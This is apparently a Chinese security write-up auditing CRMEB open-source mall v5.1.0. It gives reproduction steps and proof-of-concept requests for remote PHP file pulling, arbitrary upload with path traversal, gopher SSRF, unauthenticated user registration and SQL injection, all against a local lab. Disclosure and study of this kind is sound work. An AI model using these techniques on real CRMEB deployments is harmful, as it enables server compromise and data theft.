CRMEB开源版v5.1.0代码审计
0x00 前言
CRMEB开源商城系统是一款全开源可商用的系统,由西安众邦网络科技有限公司开发并发布开源版本。
西安众邦网络科技有限公司是一家致力于互联网软件设计、研发、销售为一体的高新技术企业。自2014年成立以来,众邦科技将客户关系管理与电子商务应用场景进行深度集成,围绕新零售、智慧商业、企业数字化经营等课题进行探索创新,打造出中国私有化独立应用电商软件知名品牌——CRMEB。
本篇讲述了PHP代码审计过程中发现的一写漏洞,从反序列化、文件操作、用户认证凭据等方面展开审查,发现不少漏洞问题,小弟在此抛砖引玉。
0x01 声明
公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。
0x02 环境
系统版本:CRMEB开源版v5.1.0
系统环境:Window11
PHP版本:7.4.3NTS
数据库版本:5.7.26
Web服组件务:Nginx1.15.11
源码下载地址:https://gitee.com/ZhongBangKeJi/CRMEB/releases/tag/v5.1.0
0x03 安装
官方教程:https://doc.crmeb.com/single/crmeb_v4/921
0x04 代码审计
【高危】后台远程任意文件拉取(添加直播商品功能)
漏洞详情
导致该漏洞产生的问题在于没有对拉取文件后缀进行严格校验,使用黑名单进行匹配是非常不安全的。主要漏洞入口点在实现获取直播商品封面、直播间封面等功能上,不安全的使用readfile
函数。
漏洞复现
准备一个命名为help.PHP
的文件,内容如下:
<?=phpinfo();?> |
使用 python 开启简单 http 服务,python -m http.server 19000
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径营销->直播管理->直播商品管理
。
http://localhost:45600/admin/marketing/live/add_live_goods
完成步骤:点击添加商品->任意添加商品->生成直播商品
,在点击提交功能时进行抓包。
原始请求数据包:
替换其中image
参数为http://localhost:19000/help.PHP
并进行发包。可以看到数据包发送后,虽然返回400,实际上已经请求并拉取了help.PHP
文件。
POC数据包:
POST /adminapi/live/goods/add HTTP/1.1 |
访问 https://cmd5.com/hash.aspx 将 URLhttp://localhost:19000/help.PHP
进行 MD5 编码,得到749aa9192a0f6ff0ed7c34418e6fe97f
根据默认文件路径规则构造URL:
http://localhost:45600/uploads/attach/{年份}/{月份}/{日号}/{URL的MD5值}.PHP
得到:
http://localhost:45600/uploads/attach/2023/09/07/749aa9192a0f6ff0ed7c34418e6fe97f.PHP
需要注意的是:
- 使用 apache Web服务器软件下只能解析 php 后缀文件。
- 使用 nginx Web服务器软件下,在Windows和MacOS系统中不区分大小写匹配。
如果 apache 想要解析大写PHP后缀或者其他后缀,需要添加下面这行代码。
在 nginx 配置中,~
默认是区分大小写的,如果需要忽略大小写就要使用 ~*
。但在Windows和MacOS系统中不区分,Linux系统区分。
漏洞审计
利用链路:
adminapi/controller/v1/marketing/live/LiveGoods.php add 78行 |
导致漏洞产生的危险函数readfile
,位于utils/DownloadImage.php
第99行。
流程函数为downloadImage
,接受两个形参,其中$url
最终传入readfile
。在此之前存在一个条件判断,用黑名单校验文件后缀。
只是简单使用in_array
来判断后缀名是否是['php', 'js', 'html']
,如果是,就退出。所以无论我们是使用大小写还是**::DATA**
等方式进行绕过都是可以的。
if (in_array($ext, ['php', 'js', 'html'])) { |
文件名和后缀都是通过<font style="color:#080808;">getImageExtname</font>
函数获取的,位于<font style="color:#080808;">utils/DownloadImage.php</font>
第50行。
- 去掉URL中
<font style="color:#080808;">?</font>
之后的部分 - 通过
<font style="color:#080808;">.</font>
分割URL,取最后一个数组成员。
假设我们输入<font style="color:#080808;">http://localhost:19000/help.PHP?a=1&b=1</font>
那么到了第62行时<font style="color:#080808;">$ext_name</font>
的值为<font style="color:#080808;">PHP</font>
,<font style="color:#080808;">$url</font>
的值为<font style="color:#080808;">http://localhost:19000/help.PHP</font>
这里的文件名并不是随机产生的,而是通过对我们输入的URL进行md5编码。相当于:
<font style="color:#080808;">md5(http://localhost:19000/help.PHP).PHP</font>
回头看downloadImage
函数,在readfile
远程读取完文件内容后,进入down
函数来保存文件。
down
函数位于services/upload/storage/Local.php
第198行。最终使用<font style="color:#080808;">file_put_contents</font>
来保存文件。
downloadImage
函数存在7个用法,其中2个都属于营销直播内的功能点。
添加直播商品功能点函数add
,位于services/activity/live/LiveGoodsServices.php
第94行。传入<font style="color:#080808;">downloadImage</font>
函数的URL是通过形参<font style="color:#080808;">$goods_info</font>
传入的。
继续向上寻找到调用方法<font style="color:#080808;">add</font>
,位于adminapi/controller/v1/marketing/live/LiveGoods.php
第78行
在adminapi/route/live.php
中可以找到对应路由:
【高危】后台远程任意文件拉取(网络图片上传功能)
漏洞详情
导致该漏洞产生的问题在于没有对拉取文件后缀进行严格校验,使用黑名单进行匹配是非常不安全的。主要漏洞入口点在网络图片上传功能上,不安全的使用readfile
函数。
漏洞复现
准备一个命名为help.PHP
的文件,内容如下:
<?=phpinfo();?> |
使用 python 开启简单 http 服务,python -m http.server 19000
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径商品->商品管理->添加商品
http://localhost:45600/admin/product/add_product
完成步骤:点击商品轮播图->在上传商品图窗口点击上传图片
完成步骤:在上传图片窗口点击网络上传选项->点击提取图片->点击确定
上传后可以在上传商品图找到文件路径。
也可以通过观察
http://localhost:45600/adminapi/file/file?pid=&real_name=&page=1&limit=18
接口返回的数据中找到文件访问路径。
POC数据包:
POST /adminapi/file/online_upload HTTP/1.1 |
访问
http://localhost:45600/uploads/attach/2023/09/07/749aa9192a0f6ff0ed7c34418e6fe97f.PHP
漏洞审计
利用链路:
adminapi/controller/v1/file/SystemAttachment.php onlineUpload 198行 |
导致漏洞产生的危险函数readfile
,位于services/product/product/CopyTaobaoServices.php
第311行。
流程函数为downloadImage
,接受七个形参,但实际上只使用了$url
,最终传入readfile
。在此之前存在一个条件判断,用黑名单校验文件后缀。
只是简单使用in_array
来判断后缀名是否是['php', 'js', 'html']
,如果是,就退出。所以无论我们是使用大小写还是**::DATA**
等方式进行绕过都是可以的。
if (in_array($ext, ['php', 'js', 'html'])) { |
文件名和后缀都是通过<font style="color:#080808;">getImageExtname</font>
函数获取的,位于<font style="color:#080808;">services/product/product/CopyTaobaoServices.php</font>
第342行。
- 去掉URL中
<font style="color:#080808;">?</font>
之后的部分 - 通过
<font style="color:#080808;">.</font>
分割URL,取最后一个数组成员。
假设我们输入<font style="color:#080808;">http://localhost:19000/help.PHP?a=1&b=1</font>
那么到了第353行时<font style="color:#080808;">$ext_name</font>
的值为<font style="color:#080808;">PHP</font>
,<font style="color:#080808;">$url</font>
的值为<font style="color:#080808;">http://localhost:19000/help.PHP</font>
这里的文件名并不是随机产生的,而是通过对我们输入的URL进行md5编码。相当于:
<font style="color:#080808;">md5(http://localhost:19000/help.PHP).PHP</font>
回头看downloadImage
函数,在readfile
远程读取完文件内容后,进入stream
函数来保存文件。
stream
函数位于services/upload/storage/Local.php
第167行。最终使用<font style="color:#080808;">file_put_contents</font>
来保存文件。
网络图片上传功能点函数onlineUpload
,位于services/system/attachment/SystemAttachmentServices.php
第311行。传入<font style="color:#080808;">downloadImage</font>
函数的URL是通过形参<font style="color:#080808;">$data</font>
传入的。
继续向上寻找到调用方法<font style="color:#080808;">onlineUpload</font>
,位于adminapi/controller/v1/file/SystemAttachment.php
第198行
从adminapi/route/file.php
可以找到对应路由:
【高危】后台远程任意文件拉取(添加商品)
漏洞详情
导致该漏洞产生的问题在于没有对拉取文件后缀进行严格校验,使用黑名单进行匹配是非常不安全的。主要漏洞入口点在添加商品功能上,不安全的使用readfile
函数。
漏洞复现
准备一个命名为help.PHP
的文件,内容如下:
<?=phpinfo();?> |
使用 python 开启简单 http 服务,python -m http.server 19000
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径商品->商品管理->添加商品
http://localhost:45600/admin/product/add_product
步骤一
填写商品基础信息,任意填写。
步骤二
- 进入商品详情界面,点击编辑器的HTML按钮。
- 填写payload
<img src="http://localhost:19000/help.PHP?233"> |
步骤三
进入其他设置选项,点击保存并抓包。
原始数据包:
修改slider_image
和attrs
的值为http://localhost:19000/help.PHP
。这里添加了?123
是为了方便判断请求。
同时修改type
的值为-1
后进行发包,观察HTTP服务,可以看到这三个地方都触发了远程文件拉取。
访问 https://cmd5.com/hash.aspx 将 URLhttp://localhost:19000/help.PHP
进行 MD5 编码,得到749aa9192a0f6ff0ed7c34418e6fe97f
根据默认文件路径规则构造URL:
http://localhost:45600/uploads/attach/{年份}/{月份}/{日号}/{URL的MD5值}.PHP
得到:
http://localhost:45600/uploads/attach/2023/09/07/749aa9192a0f6ff0ed7c34418e6fe97f.PHP
也可以通过观察
http://localhost:45600/adminapi/file/file?pid=&real_name=&page=1&limit=18
接口返回的数据中找到文件访问路径。
漏洞审计
利用链路:
adminapi/controller/v1/product/StoreProduct.php save 243行 |
导致漏洞产生的危险函数readfile
,位于services/product/product/CopyTaobaoServices.php
第311行。
流程函数为downloadImage
,接受七个形参,但实际上只使用了$url
,最终传入readfile
。在此之前存在一个条件判断,用黑名单校验文件后缀。
只是简单使用in_array
来判断后缀名是否是['php', 'js', 'html']
,如果是,就退出。所以无论我们是使用大小写还是**::DATA**
等方式进行绕过都是可以的。
if (in_array($ext, ['php', 'js', 'html'])) { |
文件名和后缀都是通过<font style="color:#080808;">getImageExtname</font>
函数获取的,位于<font style="color:#080808;">services/product/product/CopyTaobaoServices.php</font>
第342行。
- 去掉URL中
<font style="color:#080808;">?</font>
之后的部分 - 通过
<font style="color:#080808;">.</font>
分割URL,取最后一个数组成员。
假设我们输入<font style="color:#080808;">http://localhost:19000/help.PHP?a=1&b=1</font>
那么到了第353行时<font style="color:#080808;">$ext_name</font>
的值为<font style="color:#080808;">PHP</font>
,<font style="color:#080808;">$url</font>
的值为<font style="color:#080808;">http://localhost:19000/help.PHP</font>
这里的文件名并不是随机产生的,而是通过对我们输入的URL进行md5编码。相当于:
<font style="color:#080808;">md5(http://localhost:19000/help.PHP).PHP</font>
回头看downloadImage
函数,在readfile
远程读取完文件内容后,进入stream
函数来保存文件。
stream
函数位于services/upload/storage/Local.php
第167行。最终使用<font style="color:#080808;">file_put_contents</font>
来保存文件。
观察downloadImage
函数调用处在<font style="color:#080808;">downloadCopyImage</font>
函数内,位于<font style="color:#080808;">services/product/product/CopyTaobaoServices.php</font>
第392行。这里的<font style="color:#080808;">$image</font>
变量没有校验直接传入<font style="color:#080808;">downloadImage</font>
函数中。
找到三处调用<font style="color:#080808;">downloadCopyImage</font>
函数的save
方法,位于services/product/product/StoreProductServices.php
第506行。
save
函数接收两个形参,POST的数据通过$data
传入。其中进入<font style="color:#080808;">downloadCopyImage</font>
函数前有一个判断<font style="color:#080808;">$type == -1</font>
的判断,只需要确保他的校验通过即可。
进一步向上寻找到调用方法save
,位于adminapi/controller/v1/product/StoreProduct.php
第243行。这里确定了id
必须为int
类型,同时将POST参数传入StoreProductServices.php
的save
函数中去。
从adminapi/route/product.php
可以找到对应路由:
【高危】后台任意文件上传(视频上传功能)
漏洞详情
导致该漏洞产生的问题在于没有对上传文件后缀进行严格校验,对文件名进行了白名单校验,但路径拼接时使用了未经验证的数据进行拼接。主要功能点为视频上传功能,不安全的使用<font style="color:#080808;">move_uploaded_file</font>
危险函数。
漏洞复现
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径商品->商品管理->添加商品
http://localhost:45600/admin/cms/article/add_article
完成步骤:点击文章内容编辑器的上传视频按钮->任意上传MP4后缀文件->点击确定
,在点击提交功能时进行抓包。
原始请求数据包:
修改chunkNumber
参数为.php
,修改blob
参数为PHP代码:<?=phpinfo();?>
POC数据包:
POST /adminapi/file/video_upload?XDEBUG_SESSION_START=13429 HTTP/1.1 |
文件路径规则为
http://localhost:45600/uploads/attach/${年份}/${月份}/${日号}/${filename}__.php
得到
http://localhost:45600/uploads/attach/2023/09/07/token.mp4__.php
通过给filename
添加路径穿越符号可以上传到上层目录,或者指定目录。
发送后上传到了 uploads 文件夹下,完成了路径穿越攻击。
漏洞审计
利用链路:
services/system/attachment/SystemAttachmentServices.php videoUpload 261行 |
危险函数<font style="color:#080808;">move_uploaded_file</font>
位于<font style="color:#080808;">services/system/attachment/SystemAttachmentServices.php</font>
第261行。流程函数<font style="color:#080808;">videoUpload</font>
,接受两个形参:
<font style="color:#080808;">$data</font>
记录POST请求参数(form-data)<font style="color:#080808;">$file</font>
记录请求中的文件(application/octet-stream)
这里对请求参数filename
进行了白名单校验。必须要有后缀名,且后缀在白名单之内。token.mp4
显然符合这个条件。
if (isset($pathinfo['extension']) && !in_array($pathinfo['extension'], ['avi', 'mp4', 'wmv', 'rm', 'mpg', 'mpeg', 'mov', 'flv', 'swf'])) { |
在进行路径拼接时使用了$data['filename']
和$data['chunkNumber']
。filename
经过了过滤,但是chunkNumber
没有。这个参数就是污染点,可以传入.php
。
$filename = $all_dir . '/' . $data['filename'] . '__' . $data['chunkNumber']; |
<font style="color:#080808;">$data['filename']</font>
不是通过封装类获取,且只进行了后缀校验,没有过滤路径穿越的问题,导致我们可以任意上传任意文件到任意目录下。
向上寻找到调用方法videoUpload
,位于adminapi/controller/v1/file/SystemAttachment.php
第136行。这里写明$data
是从POST请求体内容获取的,这里没有进行数据类型校验。
从adminapi/route/file.php
可以找到对应路由:
【中危】前台SSRF(获取图片base64功能)
漏洞详情
在实现远程获取图片base64功能上,不安全的使用了<font style="color:rgb(64, 72, 91);">curl_exec</font>
函数。没有对传入的URL进行严格过滤,<font style="color:rgb(64, 72, 91);">curl_exec</font>
允许多种协议请求,容易忽略解析<font style="color:rgb(64, 72, 91);">?</font>
、<font style="color:rgb(64, 72, 91);">#</font>
从而绕过安全校验。
漏洞复现
使用gopher协议发送请求:
需要替换 code 为payload,如果没有接收到请求,将 payload 替换到 image 变量也是可以的。
POC请求包:
POST /api/image_base64 HTTP/1.1 |
漏洞审计
利用链路:
services/system/attachment/SystemAttachmentServices.php videoUpload 261行 |
定位到危险函数<font style="color:rgb(64, 72, 91);">curl_exec</font>
,流程函数为<font style="color:#080808;">image_to_base64</font>
,位于<font style="color:#080808;">common.php</font>
第530行。这里的使用了<font style="color:#080808;">parse_url</font>
进一步限制了协议的使用,因为某些协议无法通过<font style="color:#080808;">$url['host']</font>
的形式获取。
$url = parse_url($avatar); |
可以获取host
的协议有:
zip:///path/to/myfile.zip#file.txt |
向上寻找到调用函数<font style="color:#080808;">get_image_base64</font>
,位于<font style="color:#080808;">api/controller/v1/PublicController.php</font>
第302行。
这里接收两个参数,从提示看都是URL字符串。
这里共有两处调用,我们先来看先决条件:
- 两个变量内容不能为空
- 两个变量内容要已图片文件后缀名作为结尾
- 两个变量内容不能包含
<font style="color:#080808;">phar://</font>
if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos($imageUrl, "phar://") !== false) { |
通过条件后就会进入到<font style="color:#080808;">CacheService::remember</font>
的第二参数的匿名函数内,这里如果以同样的URL字符串写入<font style="color:#080808;">remember</font>
不会触发匿名函数——输入的参数不能和上一次请求相同
从<font style="color:#080808;">api/route/v1.php</font>
可以找到对应路由:
【中危】任意用户注册(apple快捷登陆)
漏洞详情
新建用户的方式有很多,其中apple快捷登陆,没有进一步确认用户身份,默认不开启强制手机号注册,导致只需要提供 openId 就能创建新用户。
漏洞复现
对http://localhost:45600/api/apple_login
发起请求,修改openId
为随机数值。
POST /api/apple_login HTTP/1.1 |
发送请求包后即可获得Token。
使用 Token 即可登录账户。例如查看用户身份信息:
漏洞审计
利用链路:
api/controller/v1/LoginController.php appleLogin 444行 |
<font style="color:#080808;">appleLogin</font>
函数位于<font style="color:#080808;">api/controller/v1/LoginController.php</font>
第444行。从POST请求中获取4个参数,其中<font style="color:#080808;">phone</font>
和<font style="color:#080808;">captcha</font>
是同时使用的,允许为空。<font style="color:#080808;">$email</font>
为空会自动生成,所以我们只需要传递<font style="color:#080808;">openId</font>
即可。
<font style="color:#080808;">openId</font>
也可以为空,但为了随机生成新用户,需要保证<font style="color:#080808;">openId</font>
的随机性。
往下进入到<font style="color:#080808;">appAuth</font>
函数,位于<font style="color:#080808;">services/wechat/WechatServices.php</font>
第372行。这里补全了用户信息。
其中存在一个手机绑定校验,前提是开启store_user_mobile
。这里默认值为0
,也就无需校验手机号和验证码了。
412行进入wechatOauthAfter
函数,位于services/wechat/WechatUserServices.php
第272行。
这里从数据库查询了eb_wechat_user
和eb_user
,确保两张表都没有记录就会创建新用户。
357行进入<font style="color:#080808;">setUserInfo</font>
函数,位于<font style="color:#080808;">services/user/UserServices.php</font>
第122行。用于添加用户数据。
【中危】后台SQL注入(查看表接口详细功能)
漏洞详情
在进行SQL查询时,没有使用预编译和过滤,而是使用字符串拼接的方式拼接SQL语句。在实现查看表接口详细功能时,拼接了未经校验的数据,导致SQL注入漏洞的产生。
漏洞复现
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径维护->开发工具->数据库管理
http://localhost:45600/admin/system/maintain/system_databackup/index
在右边找到详细按钮,点击后并抓包,原始数据包:
修改tablename
成'
可以看到报错提示。
保存文件后使用sqlmap进行攻击:
GET /adminapi/system/backup/read?tablename=' HTTP/1.1 |
漏洞审计
在services/system/SystemDatabackupServices.php
第68行,使用了query执行sql语句,其中$tablename
作为字符串进行拼接,没有进行预编译或者过滤。
向上寻找到read
函数,位于adminapi/controller/v1/system/SystemDatabackup.php
第51行,这里通过POST获取了tablename
,虽然使用了htmlspecialchars
,但这个函数不过滤单引号。
0x05 总结
PHP的代码审计相对来说比较透明,关注一些危险函数即可。比较考验开发人员的安全意识和安全开发的水平能力。在实际进行代码审计时,我们需要搭建环境,结合数据库日志、代码审计工具、抓包工具进行检测。除了传统的危险函数检索,还可以从用户权限能力、业务绕过、凭据与加密方向进行考虑与审计。PHP 在CTF中的题目占较大,有非常多不错的题目,我们可以借鉴一二进行学习。
CRMEB开源版v5.1.0代码审计